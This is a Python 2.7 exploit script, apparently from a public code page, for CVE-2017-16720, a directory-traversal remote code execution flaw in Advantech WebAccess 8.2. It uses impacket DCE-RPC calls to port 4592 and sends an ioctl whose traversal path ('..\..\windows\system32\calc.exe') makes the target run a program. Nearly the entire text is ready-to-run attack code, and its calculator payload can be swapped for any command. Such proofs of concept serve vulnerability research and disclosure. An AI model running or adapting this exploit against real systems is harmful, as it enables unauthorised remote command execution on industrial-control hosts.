3f6d16d5c3
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74 lines
No EOL
1.9 KiB
Python
Executable file
74 lines
No EOL
1.9 KiB
Python
Executable file
#!/usr/bin/python2.7
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# Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability
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# Date: 03-11-2018
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# Exploit Author: Chris Lyne (@lynerc)
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# Vendor Homepage: www.advantech.com
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# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe
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# Version: Advantech WebAccess 8.2-2017.08.18
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# Tested on: Windows Server 2008 R2 Enterprise 64-bit
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# CVE : CVE-2017-16720
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# See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/
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import sys, struct
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from impacket import uuid
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from impacket.dcerpc.v5 import transport
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def call(dce, opcode, stubdata):
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dce.call(opcode, stubdata)
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res = -1
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try:
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res = dce.recv()
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except Exception, e:
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print "Exception encountered..." + str(e)
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sys.exit(1)
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return res
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if len(sys.argv) != 2:
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print "Provide only host arg"
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sys.exit(1)
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port = 4592
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interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
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version = "1.0"
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host = sys.argv[1]
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string_binding = "ncacn_ip_tcp:%s" % host
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trans = transport.DCERPCTransportFactory(string_binding)
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trans.set_dport(port)
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dce = trans.get_dce_rpc()
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dce.connect()
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print "Binding..."
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iid = uuid.uuidtup_to_bin((interface, version))
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dce.bind(iid)
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print "...1"
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stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
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call(dce, 2, stubdata)
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print "...2"
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stubdata = struct.pack("<I", 0x02)
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res = call(dce, 4, stubdata)
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if res == -1:
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print "Something went wrong"
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sys.exit(1)
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res = struct.unpack("III", res)
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if (len(res) < 3):
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print "Received unexpected length value"
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sys.exit(1)
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print "...3"
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# ioctl 0x2711
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stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
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command = "..\\..\\windows\\system32\\calc.exe"
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fmt = "<" + str(0x204) + "s"
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stubdata += struct.pack(fmt, command)
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call(dce, 1, stubdata)
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print "\nDid it work?"
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dce.disconnect() |